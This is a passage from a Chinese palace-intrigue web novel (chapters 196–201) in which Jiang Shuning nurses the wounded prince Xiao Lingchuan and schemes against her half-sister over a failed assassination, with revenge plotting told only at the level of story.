她成了一个血人,全身被血腥味裹挟,第一次真切地感受到,这个男人,这个曾不可一世、强悍无匹的存在,随时可能从她的生命中消失。 他步步为营,历经生死,为何能毫不犹豫以命护她? 这份沉重到令人窒息的恩情,如泰山压顶,她要如何偿还? 不知过了多久,凌风终于带着孙神医赶了回来。 孙神医看到萧凌川的伤势,眉头便紧紧地锁了起来。 他快步上前,手指搭上萧凌川的腕脉,又查看了一下他胸前的伤口。 半晌,他长长地叹了一口气,脸上是姜姝宁从未见过的为难与凝重。 “这一剑……不偏不倚,刺中了肺腑。加上王爷失血过多,脉象虚浮,恐怕……” 凌风闻言,“噗通”一声跪在了孙神医面前,眼眶通红:“孙神医,求求您,一定要救救王爷!无论付出什么代价,都请您一定要救救他!” 孙神医扶起他,沉声道:“老夫只能说,尽力一试。” 说罢,他的目光转向了一身血污、惊魂未定的姜姝宁:“姜姑娘的急救手法很对,为王爷争取了不少时间。现在,老夫需要你搭把手,你我一同为王爷施针,或许还有一线生机!” “是,孙神医!”姜姝宁立刻应道,仿佛在漆黑的隧道里看到了一丝亮光。 她的情绪在这一刻奇迹般地平复下来,转头对一旁的凌芜冷静地吩咐道,“凌芜,你即刻回府,告知我父亲,就说我今夜有要事,不能回府了,让他放宽心,不必为我担忧。” “是,大小姐!”凌芜领命,连忙转身离去。 画舫的暖阁很快被清了出来,变成了临时的病房。 姜姝宁和孙神医两人屏退了所有人,关上房门,只留下两盏烛台照明。 一场与死神的漫长拉锯战,就此展开。 暖阁里的时间仿佛流逝得格外缓慢。 一根又一根的银针被刺入萧凌川的穴位,烛火燃尽了一支又一支,窗外的天光从熹微晨光,到日上三竿,再到夕阳西下,最后又重新归于沉沉的黑暗。 姜姝宁和孙神医两人滴水未进,不眠不休,全神贯注。 她的额头上布满了细密的汗珠,脸色比躺在床上的萧凌川还要苍白,嘴唇干裂起皮,双眼也因长时间的专注而布满血丝。 到后来,她的手臂已经酸麻得快要抬不起来,每一次捻动银针,都像是用尽了全身的力气。 可她不敢停,也不能停。 她能清晰地感受到,萧凌川的脉搏,在他们的努力下,从微弱得几乎不可闻,一点点,一点点地变得有力起来。 他胸口伤处的出血量,也从一开始的汩汩流淌,变成了缓慢的渗出。 生的希望就在眼前。 又是一个漫长的黑夜过去。 当第一缕晨曦透过窗棂的缝隙,照亮了暖阁里漂浮的尘埃时,孙神医终于长长地舒了一口气,用袖子擦了擦额上的汗。 他收回最后一根银针,声音沙哑得如同被砂纸磨过,却带着一股如释重负的喜悦。 “血……止住了。” 这三个字,轻飘飘的,却像是一道天籁,重重地砸进了姜姝宁的耳朵里。 她紧绷了整整一日一夜的神经,在这一刻骤然松懈。 一股排山倒海般的疲惫感瞬间席卷了她的四肢百骸,眼前一黑,身体便软软地向后倒去。 “大小姐!” 守在门外的凌芜一个箭步冲了进来,及时扶住了她摇摇欲坠的身体。 “孙神医……王爷他如何了?”凌芜扶着姜姝宁,小心翼翼地问。 “王爷的血止住了,命算是暂时保住了。接下来,便要看王爷自己的造化了。他内脏破损严重,万万不能移动,这段时日,只能暂时委屈王爷,在这画舫上疗养了。” 随后进屋的凌风闻言,高悬了两天两夜的心脏终于重重落回了胸腔。 他对着孙神医和姜姝宁,深深地、郑重地行了一礼。 “凌风替王爷多谢孙神医、姜姑娘的救命之恩!我定会派人将这画舫围得如铁桶一般,护王爷周全!” 姜姝宁本欲开口让他不必客气,可身心早已到达极限,眼皮一沉,彻底失去了意识…… 第197章 以牙还牙 第一百九十七章 以牙还牙 姜姝宁睁开眼,发现自己躺在画舫暖阁的软榻上。 凌芜端着一碗药汤进来,见她醒了,忙放下碗扑到榻边:“大小姐,您终于醒了!您睡了一天一夜,奴婢担心坏了!” 姜姝宁揉了揉太阳穴,声音低哑:“王爷他如何了?” “还在昏睡,但孙神医来给他把过脉,说他脉象趋于平稳,再修养一段时日,定会好起来。”凌芜说着,眼底闪过一丝庆幸。 “那就好。”姜姝宁长舒一口气,心头那块巨石稍稍松动。 “大小姐受惊了。”凌芜低声道,“没想到那些死士竟能混上画舫,伤了王爷。如今凌风十分自责,觉得是他没排查好,害了您和王爷。” 姜姝宁回忆起那晚惊心动魄的一幕,不免心有余悸。 那些黑衣人,动作迅猛,杀意凛然,分明是冲着她来的。 是谁那么想杀她,不惜买通死士,混迹在画舫上,执意要她的命? “不怪他,要怪就怪指使这些死士杀我的人。”她眼神一冷,像是想到什么,问,“这几日我没回府,府上可有什么异样?” 凌芜摇了摇头,犹豫了片刻,才道:“没什么异样……不过,二小姐似乎回过一次相府。夏蝉说,她一个劲儿地问大小姐你去哪儿了。老爷怕你夜不归宿的事会影响声誉,没跟她说明,只说你回徐州探亲了,可她竟说要去徐州见您。大小姐,二小姐从未这么关心过你,还真是稀奇!” 姜姝宁冷笑一声,笑意却不达眼底:“她哪里是关心我,她是想看我死没死!” 凌芜一惊,瞪大了眼睛:“大小姐,您的意思是……” “那些死士,八成是她派来杀我的。”姜姝宁眉眼阴鸷,声音低得像从牙缝里挤出来,“姜瑶真,你果然心狠手辣!” 也好,既然姜瑶真敢对她下这样的毒手,那就别怪她以牙还牙! “把凌风叫来,我有话问他!”姜姝宁沉声吩咐。 凌芜连忙点头,匆匆跑了出去。 不多时,凌风推门而入。他一身黑衣,腰间佩剑,眉宇间带着几分疲惫和自责,见到姜姝宁,躬身行礼:“姜姑娘。” 姜姝宁直截了当地问:“凌风,你可知哪里能找到专门培养死士的组织?” 凌风皱了皱眉,沉声道:“王爷麾下的暗卫遍布整个大邺,有专门的情报网。只是……没有王爷的亲口命令,属下也无权驱使他们去查这些江湖组织。姜姑娘是想找出那夜的幕后指使之人?” “指使的人我已知道。”姜姝宁冷笑,眼中闪过一抹狠厉,“我是想用双倍的价格买通新一批死士,以其人之道还治其人之身!” 凌风一愣,显然没想到她有这种打算。 他迟疑了一下,低声道:“姜姑娘,这事……风险太大。死士多是亡命之徒,忠于金主,若是买通不成,反倒泄露了您的意图,只怕会引来更大的麻烦。” “江湖上的死士办事,无非是为了钱财,没有人会跟钱过不去。况且,就算他们将我想杀那人的意图泄露出去,我也不怕!” 姜姝宁的神色阴鸷得吓人,像淬了寒冰的刀刃,一字一句,都带着敲骨吸髓的恨意,“我,就是要让姜瑶真知道,我想杀她!” “可是……”凌风面露难色,“如今王爷身负重伤,被困在这画舫上,我们的人手都得日夜守着,以防再有变故。实在是分 身乏术,无法护得姜姑娘周全。姜姑娘可否……可否再忍一忍?待王爷醒来,他定会为您讨回公道!” “王爷是你们的主心骨,如今他重伤昏迷,你们不敢轻举妄动,我能理解。”姜姝宁的目光越过凌风,落在不远处另一个软榻上那个气息微弱的身影上,声音不由得放轻了些,“此事,我会自己想办法,你们只需要护住王爷即可。” 她缓缓站起身,走到萧凌川的榻边,俯身看着他苍白如纸的脸。 那张平日里让她避之不及的俊美面容,此刻却毫无生气,只有胸口微弱的起伏,证明他还活着。 若不是为了护着她,他何至于此? “王爷舍身救我,身负重伤,若不给那罪魁祸首应有的惩罚,我咽不下这口气!也觉得对不住王爷!” 凌风看着她决绝的侧脸,知道再劝无用。 他无奈地叹了口气,只能抱拳道:“姜姑娘一切小心!” …… 麟阁宫内,萧修湛勃然大怒:“你疯了,竟派死士刺杀你姐姐?若被萧凌川知道,你就不怕他杀了你?” 姜瑶真不以为然:“殿下这么紧张做什么?从刺杀那夜到现在,萧凌川一直龟缩在幽兰湖的画舫上,至今都不曾露面。他的亲卫将整条画舫围得形如铁桶,连只苍蝇都飞不进去。妾身猜测,他可能是在保护姜姝宁的时候受了重伤,或者……已经死了!” “真的?”萧修湛挑了挑眉,怒气稍减,疑虑却浮上心头,“可这萧凌川向来小心谨慎,诡计多端,当初在冷宫那样的地方都能存活下来,当真那么轻易就被几个死士杀死?” “妾身不是说过吗?姜姝宁,就是他的软肋,是他唯一的死穴。他那么在乎那个贱人,肯定不会眼睁睁看着她受伤。所以,杀姜姝宁,就等同于杀他。” 萧修湛一听,眼中的怒火瞬间被狂喜所取代,他一把揽住姜瑶真的腰,大笑道:“哈哈哈!真儿果真聪明!” 他兴奋地在她脸上亲了一口,随即又像是想起了什么,状似不经意地问道,“所以,姜姝宁她……没事吧?” 姜瑶真懒懒地耸了耸肩:“妾身回了一趟娘家,特意问起姜姝宁,我爹说起话来遮遮掩掩的,一会儿说她去夏家小住了,一会儿又说她去了徐州探亲。想来是好几日没回府了。是死是活,还是个谜呢!” 听到这话,萧修湛袖子里的手下意识地握紧成拳。 但愿这次刺杀,只让萧凌川那个废物中了招,可千万别伤了姜姝宁分毫。 他等了这么久,忍了这么久,不就是为了这一天吗? 只要萧凌川废了,姜姝宁便是他萧修湛的囊中之物了! —— 姜姝宁去了一趟苏府。 苏婉正沉浸在大婚将至的喜悦中,见她到来,笑靥如花,忙拉她入内:“姜姑娘,你来得正是时候!快帮我瞧瞧,大婚当日该戴哪些朱钗更衬气色!” 姜姝宁握住她的手,目光沉静,语气郑重:“苏姑娘,你曾说若我有事可随时求助,此话可还算数?” “当然!”苏婉拍着胸脯,豪气道,“我苏婉一言九鼎!姜姑娘有何难处,尽管开口!” 姜姝宁眼中却闪过一丝冷芒,直言不讳:“苏家经商,门路广,可知江湖上哪家组织擅养死士?” 苏婉笑容一僵,杏眼圆睁:“你、你问这个做什么?” 姜姝宁目光一凛,声音低沉却坚定:“我要杀一个人!” 苏婉倒吸一口凉气,手中朱钗“啪嗒”落地,满脸震惊:“!!!” 第198章 背后隐藏的秘密 第一百九十八章 背后隐藏的秘密 姜姝宁见苏婉神色震惊,忙摆手道:“若是为难,便不必勉强,是我唐突了!” “不为难!”苏婉连忙拉住她的手,“我们苏家世代经商,常与三教九流打交道,这些江湖组织的事,自然知晓一些!你找我,算是找对人了!” “当真?”姜姝宁挑眉追问,“那你方才为何如此惊讶?” 苏婉尴尬一笑:“商人杀人越货倒也罢了,可你一个世家贵女,怎会动了杀人之念?” 姜姝宁目光一暗,语气低沉:“苏姑娘,不瞒你说,前几日在画舫上,我险些命丧黄泉,有人买通死士,要取我性命!” 苏婉闻言大惊失色:“天子脚下,谁有这般胆量,竟敢刺杀相府嫡女?” 姜姝宁冷笑,眼中寒芒毕露:“自然是连天子都不放在眼里之人!” 苏婉心头一凛,未再多问。 她转身去了父亲书房,不多时便拿来一份名单,递给姜姝宁:“这些年,苏家与这五家江湖组织有过往来。他们不接生客生意,若你看中哪家,我让我爹带你去见他们的当家。” 姜姝宁扫了一眼纸上名字,抬头问道:“能否每家都见上一见?” 苏婉一愣,迟疑道:“这……也不是不行!” 随后,苏老爷便被迫带着姜姝宁逐一拜访这五家江湖组织的头目。 一路上,他忍不住骂骂咧咧:“我活了大半辈子,还没见过姜姑娘你这般挑剔的!杀个人而已,怎还非得货比三家?若非婉儿求我,我才懒得管这闲事!” “劳烦苏老爷了。”姜姝宁低眉顺眼,却丝毫没有妥协的意思。 见到第一位江湖头目时,她开门见山:“前几日我在幽兰湖遇刺,可与你们有关?” 那头目脸色骤变,下意识瞥向苏老爷,沉声问:“苏老爷,两位是来谈生意,还是来寻仇家的?” 苏老爷也忙看向姜姝宁,皱眉劝道:“姜姑娘,江湖死士只管收钱办事,就算真伤了了人,也不能找他们算账的!” “我自然不会。”姜姝宁冷冷一笑,语气森然,“我只想找到当日受雇的组织,用双倍价码,请他们训练的死士帮我杀了那个雇主!” 头目摇了摇头,坦然道:“你这条件确实诱人,可惜我们并未接过幽兰湖的刺杀任务,怕不是你们要找之人。还请姑娘另寻别家!” 苏老爷又带着姜姝宁接连见了两个头目,有的甚至为接生意谎称自己曾在幽兰湖接过行刺任务,可惜对金主身份一问三 不知,漏洞百出,姜姝宁一眼便识破。 如今,只剩最后一家江湖组织。 苏老爷一天奔波数地,累得气喘吁吁,满脸不耐:“我说姜姑娘,杀个人罢了,何必非得揪着那个仇家买通的组织不放?我用过的这些组织,杀人越货干净利落,保管能帮你料理仇家!” 姜姝宁淡淡一笑,眼中却闪过一丝执拗:“多谢苏老爷好意,可我还是想找到那个组织!” 苏老爷气得险些翻白眼,低声嘀咕:“我就没见过比你更倔的姑娘!” 很快,苏老爷带着姜姝宁来到夜影阁的据点。 这是一间坐落于城西的破败饭馆,外表残旧,门楣上的牌匾甚至已然歪斜,透着一股说不出的诡异与萧索。 苏老爷在踏入饭馆前,特意低声警告姜姝宁:“这夜影阁的当家可不是好惹的主儿,手段狠辣,若是得罪了他,连金主他都敢杀!待会儿你少开口,一切由我来说!” 姜姝宁微微颔首,心中却自有计较,面上却是不显分毫。 饭馆内,夜影阁的当家——寒影,正端坐在一张老旧木桌旁。 他年过四十,面容却白 皙如玉,眉眼间透着一股阴柔之美,显得瑰丽却又令人心生寒意。 见到姜姝宁的那一瞬,他眼底闪过一抹不易察觉的诧异,但很快敛去情绪,起身朝苏老爷微微点头,算是打过招呼。 姜姝宁不动声色地打量着他,心中暗想:看来,定是这里无疑了! 苏老爷清了清嗓子,率先开口,语气中带着几分试探:“寒影,在下有句话想问。几日前,幽兰湖画舫上的刺杀一事,可是你们夜影阁接的活儿?” 寒影闻言,脸上浮现一抹诡谲的笑意,目光阴恻恻地扫向姜姝宁,声音低沉而危险:“怎么,这位姑娘是来寻仇的?能从我夜影阁的刀下捡回一条命,已是天大的造化,竟还敢找上门来,莫非是不想活了?” 话音未落,整个破旧饭馆的气氛骤然一变。 掌柜、小二,甚至那些看似普通、正在用餐的食客,竟齐齐站起身,手按腰间刀剑,目露凶光,将姜姝宁团团围困,杀气弥漫。 苏老爷见状,大惊失色,忙摆手陪笑道:“寒影当家,有话好说,可别动刀动枪啊!我们不是来闹事的!” 姜姝宁神色如常,目光直直迎上寒影那双阴冷的眸子:“寒影当家误会了,我并非来寻仇,而是来谈一笔生意。那日派你们前来刺杀我的雇主,给了你们多少报酬?我愿出双倍价码,雇你们这里的死士取她性命!” 寒影冷嗤一声:“姑娘口气倒是不小!不是我们夜影阁不愿赚这银子,只是此事牵连太大,我们不想自找麻烦。你可知,那位雇主与皇室颇有瓜葛,若杀了她,只怕会引来皇室追责,到时便是灭顶之灾!” 姜姝宁唇角微勾,露出一抹冷笑:“若我说,你们夜影阁早已惹下大麻烦,又当如何?” 寒影眉头微皱:“此话怎讲?!” 姜姝宁冷声道:“那日夜影阁派去五名死士,却未能杀我这个手无缚鸡之力的弱女子,当家可知为何?只因当时画舫上还有个景王殿下。他为了护我,挡下了你们死士的刀剑!景王虽因母族出自南月,不甚受皇室重视,可他毕竟是大邺皇子,皇家血脉。你们刺伤了他,觉得皇室会轻易放过你们吗?” 此言一出,寒影脸色骤变,眼底闪过一抹震惊与不安。 “你说什么?那景王……如今究竟如何了?” 姜姝宁见他神情有异,心中已然有了八分把握,面上却不动声色,继续冷声道:“景王殿下如今危在旦夕,命悬一线。那日死士的目标虽看似是我,可他与我同坐画舫出游,又怎会眼睁睁看我被杀?说不定,那雇主真正的目的根本不在我,而是借杀我做幌子,实则意在取景王性命!” 寒影听罢,脸色越发阴沉,眼底怒意渐浓。 片刻后,他开口,声音冷厉:“我寒影纵横江湖二十余载,从未被人如此戏弄!姑娘放心,这雇主我定会让她为此事付出代价!” 姜姝宁却目光一冷,直言不讳:“若我要她的命呢?” 寒影神色一僵,婉拒道:“夜影阁从不对与皇室有牵连之人下手,此事恕难从命!” 姜姝宁也不强求,起身淡淡道:“既如此,我便不为难当家了。” 随即转向苏老爷,语气平静,“苏老爷,我们走吧!” “就这样走了?”苏老爷一脸错愕,满目不可置信。 以姜姝宁那执拗性子,他还以为她会不择手段逼寒影就范,甚至撒泼打滚也在所不惜,怎料她竟如此干脆! 回程路上,苏老爷忍不住问道:“姜姑娘,你不是一心要复仇吗?怎么这般轻易放弃?” 那他今日陪着她四处奔波算什么? 算他老当益壮吗? “谁说我不报仇了?”姜姝宁道,“劳烦苏老爷一事,请派人暗中联络‘黑风堂’的头目,让他们调派几位武功绝顶的死士,秘密跟踪寒影。待他与那雇主见面后离去,立即对那雇主下手!若能取其性命,我愿出这个价!” 她伸出一根手指,眼中闪过一抹寒光。 黑风堂行事狠厉,想必为了赚她的报酬,定会想尽一切办法置姜瑶真于死地。 苏老爷更加不解:“你不是早就知晓那雇主是谁吗?为何不直接动手,偏要兜这么大的圈子,跑来夜影阁自找麻烦?害得我这一把老骨头,跟着你东奔西跑,险些累断腿!” 姜姝宁闻言,唇角微勾,露出一抹意味深长的笑意,却未多言。 若不故意绕这么一个大圈,又怎能确认姜瑶真背后倚仗的死士组织,正是这夜影阁? 这夜影阁,绝非普通的江湖势力那般简单,其背后隐藏的秘密,远比寻常人想象中更为复杂! 第199章 以唇渡药 第一百九十九章 以唇渡药 姜姝宁回到画舫,推门而入时,凌芜正小心翼翼地给萧凌川喂药。 见她归来,凌芜放下药碗,既紧张又生气:“大小姐怎能瞒着奴婢,说是回府取东西,却独自去寻那些培养死士的江湖组织?您可知奴婢有多担心!若您有个三长两短,奴婢如何向老爷交代?” 等王爷醒来,定会勃然大怒,责怪她护主不力。 “凌芜,让你担心了。那些江湖头目个个都是练家子,若带上你,他们难免心生戒备,未必肯吐露真言。我与苏老爷同去,更易让他们放松警惕,从而套出我想要的消息。” 凌芜不解,追问道:“奴婢还是不明白,大小姐若要取二小姐的性命,江湖死士多得是,为何非要揪着那个接了刺杀您任务的组织不放?” 姜姝宁目光一沉:“因为姜瑶真找的这个夜影阁,绝非寻常江湖组织。你想想,那夜刺杀我的黑衣人,竟能同时与你们三人交手,放眼大邺,有几个江湖组织能练出这样的死士?他们的武功如此超群,为何不去做权贵人家的暗卫,反倒甘愿走上这条不归路?” 凌芜若有所思,迟疑片刻,低声道:“莫非……是因为他们的身份有异?” “正是!”姜姝宁眼中闪过一丝锐芒,沉声道,“他们不是大邺人,而是南月人!” 此言一出,凌芜瞳孔猛缩,震惊得几乎失声,颤声问:“大小姐怎会如此确定?” 姜姝宁缓步走到窗边,望向平静无波的湖面,目光浅淡:“起初我只是猜测,但见了夜影阁当家寒影后,便有了八分把握。他年过四旬,容貌却出奇俊美,眉眼间带着一股异于常人的阴柔气质,绝非普通江湖人士所能有。 他拒绝我的生意,推说怕杀姜瑶真会牵连皇室,我猜应该只是托词。真正的原因,是姜瑶真身上流着南月血脉!夜影阁只为南月人办事,也只维护南月人的利益。” 而姜瑶真的生母不仅是南月人,还是南月公主,姜姝宁猜想,夜影阁这些年应该一直在为姜家姨娘做事,说不定还一起搜集大邺情报送给南月。 看似繁华安定的大邺,其实早就危机四伏。 凌芜闻言,震惊得几乎说不出话来,心头翻涌如潮。 她暗自思忖:王爷多年来殚精竭虑,欲寻南月潜伏在大邺的势力,未曾想,竟被大小姐以如此巧妙的方式揪了出来! “那……您就不怕夜影阁那些南月人心狠手辣,暗中对您下手?”凌芜担忧道,“毕竟,他们未能完成二小姐的刺杀任务,难保不会就地了结你!” 姜姝宁摇了摇头,唇角勾起一抹意味深长的笑:“他们不会。我故意提及王爷为救我身受重伤,又刻意误导寒影,让他以为姜瑶真以刺杀我为幌子,真正目标是取王爷性命。 寒影听后,果然震怒,扬言要亲自找姜瑶真讨个说法。我已暗中吩咐苏老爷,命‘黑风堂’的死士暗中跟踪寒影,待他与姜瑶真见面后离去,便对她痛下杀手!” 凌芜一愣,随即皱眉道:“何必如此大费周章?直接寻个由头将二小姐引出,找人杀了便是!” 姜姝宁目光微冷,缓缓摇头:“万万不可操之过急,以免授人以柄,落人口实。我此举有两重目的:其一,借寒影引出姜瑶真,若‘黑风堂’真能取下她的性命,届时大理寺会认为此番暗杀是夜影阁所为,我们可以彻底撇清关系; 其二,若刺杀失败,非但不会牵连到我们,还能让姜瑶真与夜影阁彻底翻脸。没了夜影阁这张王牌,她往后休想再兴风作浪!” 凌芜听罢,眼中闪过一抹由衷的敬佩,叹道:“大小姐果然心思缜密!难怪王爷对您如此倾心,甚至不惜以命相护,也要保您周全!” 听到这话,姜姝宁心头一震,胸口涌上一阵酸涩与复杂的情绪。 她低声道:“凌芜,我与王爷之间……并非你想的那般简单。他对我,未必是男女之情,更多的……是愧疚与……” 她的话戛然而止,生生将“利用”二字咽下。 那夜画舫上的惊险刺杀,萧凌川为她生生承受了一剑,这般舍命相护,令她再也无法将他的动机简单归为冷漠的“利用”。 凌芜见姜姝宁眼中满是掩不住的苦恼,心头也不由一酸。 她暗叹:王爷明明对大小姐情根深种,大小姐分明也已动心,却为何始终不肯敞开心扉,接受王爷的真心? 何时才能见他们二人终成眷属? 真是皇帝不急太监急! 她定了定神,转移话题道:“大小姐,奴婢方才给王爷喂药,他昏迷不醒,药汁根本咽不下去。孙神医说,这药是救他五脏六腑的关键,奴婢实在没办法了!” 姜姝宁转头看向榻上的萧凌川,只见他脸色苍白,气息微弱,的确很难将汤药顺利喂下。 她心头一紧,低声道:“把药碗给我,我来喂他。你先出去吧。” “是!”凌芜小心翼翼地将温热的药碗递给姜姝宁,默默退了出去,掩上房门。 室内瞬间安静下来,只余下萧凌川微弱的呼吸声。 姜姝宁端着药碗,凝视榻上那张苍白却依旧俊美无俦的面容,心中百味杂陈。 她舀起一小口温热的汤药,含入口中,随后俯下身,唇瓣覆上萧凌川冰凉的薄唇,以唇渡药。 前世,每次他因刺杀或毒害而陷入生死边缘,都是她用这种方式为他喂药,早已轻车熟路。 尽管如此,渡药时,唇瓣相触的那一瞬,她心头莫名一颤,脸颊竟不自觉地浮起一抹浅红。 他们都是重生之人,前世的种种皆记得,可今生毕竟不是夫妻,以唇渡药这种事很难不羞涩。 瞥见他那张因重伤而显得格外脆弱的俊美容颜,她的耳根更是烫得几乎能滴出血来。 她心中暗暗说服自己:罢了,此处无旁人,他又昏迷不醒,根本无人知晓此事。 救人要紧。 姜姝宁深吸一口气,强压下心头的杂念,再次低头继续含药喂进他口中。 药汁顺着唇角缓缓流入,带着一丝苦涩的药香弥漫开来。 她全神贯注地喂着药,却未曾察觉,身侧那只搁在榻边、骨节分明的修长手掌,指尖似是无意识地微微蜷起,仿佛在极力克制着某种情绪…… 第200章 刺杀 第二百章 刺杀 夜黑风高,寒风如刀,京城郊外一座破败的古寺内,姜瑶真紧了紧身上的大氅,眉宇间满是不耐。 她盯着对面那道阴柔却冷厉的男子,没好气道:“大冷天的,偏要选这荒郊野寺见面,到底有何事不能在来福酒楼雅间里说?” 寒影冷冷一笑,俊逸的面容在昏暗的烛火下显得愈发诡谲。 他踏前一步,目光如刀,直刺姜瑶真心底:“三皇子妃,你当真以为我找你来,是为了饮酒闲谈?你指使夜影阁的死士前往幽兰湖刺杀姜姝宁,为何隐瞒景王殿下也在画舫之上?你可知,他为护姜姝宁,生生挨了一剑,如今重伤未醒!他身上同样流着南月的血,你身为南月后代,怎能残害同族之人?” 姜瑶真心头一震,面上却强装镇定,避开他那咄咄逼人的目光,辩解道:“我的耳目只告诉我,姜姝宁要去幽兰湖赴约,谁能料到她竟是与景王私会?再说了,误伤景王的是你夜影阁的人,与我何干?” “与你何干?”寒影怒极反笑,声音陡然低沉,带着几分森冷的杀意,“三皇子妃,你别以为我不知道,你想借夜影阁的手除掉景王殿下!我劝你收起那些自作聪明的伎俩,夜影阁的底线,不是你能试探的!若有下次,别怪我不客气!” 说完,寒影拂袖转身,步伐决然,似要离去。 姜瑶真心头一紧,不甘地冲着他的背影高声道:“景王的生母不过是个卑贱的南月侍女,即便他受伤又如何?我姨娘可是南月公主,血统高贵,难道我不比他更尊贵?就算要取他性命也无可厚非!” 寒影倏然停步,转身回望,阴柔的脸上浮现一抹讥诮的神色:“南月公主?她是这么告诉你的?” 姜瑶真被他这嘲讽的语气刺得一滞,眉头微蹙:“你这是何意?难道我姨娘会骗我不成?” “既如此,你可有南月皇室信物——玉牌?拿出来让我看一看!” 玉牌? 萧凌川也曾向她索要过。 可姨娘从未跟她说过玉牌的事。 见她迟疑,寒影嗤笑更甚,语气间满是轻蔑:“连南月皇室的玉牌都拿不出,还敢自称公主之后?姜瑶真,我劝你少做白日梦,多干实事!” 话音未落,他身影一晃,迅速消失在夜色之中。 姜瑶真独自立在破庙中,寒风从破败的窗棂灌入,吹得她大氅猎猎作响。 她暗自思忖:看来姨娘没将玉牌带在身上,否则萧凌川杀了她之后,不可能没拿到那玉牌。 可那玉牌如今会在哪里呢? 正思索间,寺庙外忽传来一阵急促的脚步声。 姜瑶真猛然抬头,只见数道黑衣身影如鬼魅般冲入庙内,手中利剑在月光下闪着森冷寒芒。 “你、你们是谁?想干什么?”姜瑶真心头一惊,下意识后退一步,声音中透着几分慌乱。 为首的黑衣人冷笑一声,剑锋直指她心口:“我们是来送三皇子妃上路的死士!” 话音未落,他身形一闪,利剑如电,带着凌厉杀意直劈而下—— 姜瑶真虽从姨娘处学过几招防身武艺,但面对黑衣人凌厉的剑锋,只能险险避过那致命一击。 她未携兵器,步步后退,狼狈不堪,眼看就要命丧剑下。 就在这千钧一发之际,古寺内骤然杀入数名持剑侍卫,剑光如电,寒芒四射,转瞬之间,黑衣人尽数倒在血泊之中。 领头的侍卫快步上前,沉声问道:“三皇子妃,您可安好?” 姜瑶真惊魂未定,险些瘫软在地。 幸而她早有防备,赴寒影之约时暗中安排麟阁宫的侍卫埋伏在古寺附近,命他们一旦察觉异动便立即现身相救。 否则,此刻她早已身首异处! 她眼底燃起一抹刻骨恨意,低声咬牙道:“寒影,你好大的胆子,竟敢对我下手!等着瞧吧!” 身为南月公主的后裔,她何等尊贵? 夜影阁竟为一个低贱侍女之子对她刀剑相向! 待她寻回玉牌,证明南月皇室血脉,定要让寒影付出代价! 姜瑶真拖着疲惫的身躯回到麟阁宫。 萧修湛一见她归来,连忙快步迎上前:“真儿,你可算回来了!那贱种萧凌川如何?死了没有?” 姜瑶真眼眶一红,泫然欲泣:“殿下,妾身险些再也见不到您了!” 她扑入萧修湛怀中,娇躯微微颤抖,平复方才的惊魂一刻。 萧修湛眉头一皱,搂住她腰肢的手猛然收紧,沉声问道:“怎么回事?莫非夜影阁的当家对你动了杀心?这是为何?” 姜瑶真心头一紧,面上却强装无辜,低垂眼帘掩饰慌乱:“妾身也不知……许是有人买通夜影阁,欲取我性命!幸好妾身早有防备,带了侍卫随行,否则后果不堪设想!” 她绝不能让萧修湛知晓夜影阁与南月的瓜葛,更不敢吐露自己身上流着南月一半血的秘密。 否则,以萧修湛的性情,定会因她的异族身份而生嫌隙,甚至弃她如敝履。 萧修湛闻言,眼中疑云稍散,轻轻拍了拍她的肩,宽慰道:“无事便好,真儿无需惊惶。” 继而追问道,“那萧凌川如今究竟如何?当真死了?” “寒影说,他为护姜姝宁身负重伤,至今卧床不起。妾身猜想,他迟迟未离开画舫,定是伤势过重,命不久矣!”姜瑶真顿了顿,疑惑道,“可妾身不解,他既受此重创,为何不禀告父皇,借圣上之手彻查凶手?” 萧修湛冷笑一声,眼中阴鸷之色更浓:“他那群亲卫,怕是担心他重伤的消息外泄,会引来更多豺狼趁虚而入,故而刻意封锁消息。不过,父皇近来怕是无暇顾及他的死活了。” 姜瑶真心头微震,试探道:“殿下何出此言?父皇究竟怎么了?” “不提也罢!”他一笔带过,嘴角勾起一抹狰狞的弧度,“不过,既然我这四弟如今命悬一线,我这个做兄长的,怎能不去‘探望’一番,也好顺便送他一程,早登极乐!” 姜瑶真笑靥如花,眼底掠过一丝恶毒:“殿下英明!” 第201章 想趁机取人性命! 第二百零一章 想趁机取人性命! 姜姝宁正在喂萧凌川服汤药,画舫外却骤然传来一阵嘈杂的喧哗。 她心头一紧,推开窗棂,目光扫向甲板。 只见一群身披重铠、手握寒光利剑的侍卫,已将萧凌川的亲卫团团围住,剑拔弩张,气氛如绷紧的弓弦,随时可能断裂。 凌风面沉如水,声音冷冽:“三皇子殿下,带如此多的侍卫前来,意欲何为?” 萧修湛嘴角勾起一抹意味深长的笑,语气却带着几分虚伪的关切:“本皇子听闻四弟身受重伤,特意前来探望,怎奈你们这些亲卫如此戒备森严,莫非有何不可告人之事?” “王爷自有属下照料,无需殿下费心!”凌风寸步不让,眼中寒芒乍现,“还请殿下速速离去!” 萧修湛脸色一沉,眼中怒火骤燃,厉声道:“放肆!本皇子探望自家兄弟,哪轮得到你这下人置喙?来人,将他押下去!” 话音未落,他身后的侍卫如狼似虎,齐刷刷抽出长剑,寒光直逼凌风脖颈,杀气弥漫。 姜姝宁站在窗边,瞳孔猛缩,心跳如擂鼓。 这哪里是来探病,分明是想趁机取人性命! 凌芜急忙凑到她身旁,低声道:“大小姐,三皇子殿下此番来者不善,奴婢带您从后窗离开,躲起来吧!” “画舫已被他的人围得水泄不通,躲又能躲到何处?况且……”姜姝宁目光落回床上昏迷不醒的萧凌川,眼中闪过一丝复杂的情绪,“我绝不能弃他于此,独自逃生。” 萧修湛与萧凌川两世都势如水火。 如今萧凌川身陷昏迷,生死未卜,若她离去,谁知那丧心病狂的萧修湛会对他做出何等残忍之事? “可奴婢怕三皇子殿下会对您不利……” “凌芜,你有武功,从后窗潜出应该不难,成功离开画舫后,便去找肃王殿下搬救兵!”姜姝宁打断她,目光如炬,“我留在此处,拖住萧修湛,为你争取时间!” “大小姐……”凌芜还想再劝,却被姜姝宁推向临近湖面的窗棂。 “别犹豫了,再拖延恐生变故!快走!”姜姝宁低喝一声,语气不容置疑。 凌芜深深看了她一眼,又望向床榻上气息微弱的萧凌川,咬紧牙关,沉声道:“大小姐放心,奴婢定速去速回!” 凌芜刚翻窗跃入湖中,画舫暖阁的木门便被人猛地一脚踹开。 萧修湛大步迈入,锦袍在烛光下泛着冷光,目光如鹰隼般锐利,直直落在床头的姜姝宁身上。 她正低头为萧凌川擦拭嘴角残留的药渍,眉眼被烛火染上了一层暖黄色,更衬得温柔至极。 萧修湛心底陡然涌起一股难以抑制的妒恨。 萧凌川已然命悬一线,她却仍不顾男女之防,如此悉心照料! 在她心中,这废物四弟当真如此重要,值得她如此不离不弃? 